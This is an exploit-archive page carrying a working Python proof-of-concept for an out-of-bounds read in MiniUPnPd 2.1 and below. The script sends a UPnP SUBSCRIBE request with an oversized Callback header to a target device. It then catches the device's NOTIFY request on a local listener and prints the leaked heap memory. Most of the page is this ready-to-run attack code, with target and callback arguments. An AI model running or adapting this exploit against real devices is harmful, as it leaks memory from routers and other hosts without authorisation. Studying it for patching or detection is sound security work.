exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MiniUPnPd 2.1 Out-Of-Bounds Read

MiniUPnPd 2.1 Out-Of-Bounds Read
Posted Jan 29, 2019
Authored by b1ack0wl

MiniUPnPd versions 2.1 and below suffer from an out-of-bounds read vulnerability.

tags | exploit
SHA-256 | 2aaa71d09817976536dfc7a03db1bc67d6ef7fb15b152cb8ac3c8251862a3b07

MiniUPnPd 2.1 Out-Of-Bounds Read

Change Mirror Download
#!/usr/bin/python3
# miniupnpd <= v2.1 read out-of-bounds PoC
# by b1ack0wl
# https://github.com/b1ack0wl/miniupnpd_poc

import requests, socketserver, argparse, sys

class OK_HTTP_Response(socketserver.StreamRequestHandler):
def handle(self):
self.request.settimeout(self.server.timeout)
self.server.notify = b""
try:
line = self.rfile.read(1)
while len(line) > 0:
self.server.notify += line
line = self.rfile.read(1)
except:
pass
self.wfile.write(b"HTTP/1.1 200 OK\r\n\r\n")

def splash():
print("[*] miniupnpd <= v2.1 read out-of-bounds vulnerability [PoC]")
print("[*] by b1ack0wl")

def leak_data(args):
leak_size = ((1024*args.leak_amount)+526)
callback_uri= "A" * leak_size
headers= {'NT': 'upnp:event', 'Callback': '<http://{}:{}/{}>'.format(args.callback_ip,args.callback_port,callback_uri), 'Timeout': 'Second-20'}
server = socketserver.TCPServer((args.callback_ip, args.callback_port), OK_HTTP_Response)
server.timeout = args.timeout
print("[+] Sending request...")
requests.request(method="SUBSCRIBE",url="http://{}:{}/evt/L3F".format(args.target_ip,args.target_port),headers=headers,timeout=args.timeout)
server.handle_request()
leaked_data = server.notify[1023::] # Skip over the first 1024 bytes since it just contains 'NOTIFY /AAA...'
print("[+] Leaked Data: {}".format(leaked_data))
print("[+] Leaked Length: {}".format(len(leaked_data)))
print("[+] Done")

def main():
poc_parser = argparse.ArgumentParser( add_help=True, description='Miniupnpd <= v2.1 read out-of-bounds vulnerability',formatter_class=argparse.ArgumentDefaultsHelpFormatter)
poc_parser.add_argument('target_ip', help='IP address of vulnerable device.')
poc_parser.add_argument('target_port', default=5000, help="Target Port.", type=int)
poc_parser.add_argument('--callback_ip', help="Local IP address for httpd listener.", type=str)
poc_parser.add_argument('--callback_port', help="Local port for httpd listener.", type=int)
poc_parser.add_argument('--timeout', default=5, help="Timeout for http requests (in seconds).", type=float)
poc_parser.add_argument('--leak_amount', default=1, help="Amount of arbitrary heap data to leak (in KB).", type=int)
args = poc_parser.parse_args()
arguments = ['target_ip', 'target_port', 'callback_ip', 'callback_port' ]
for i in arguments:
if getattr(args, i) == None:
poc_parser.print_help()
sys.exit(1)
leak_data(args)

if __name__ == '__main__':
splash()
main()
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close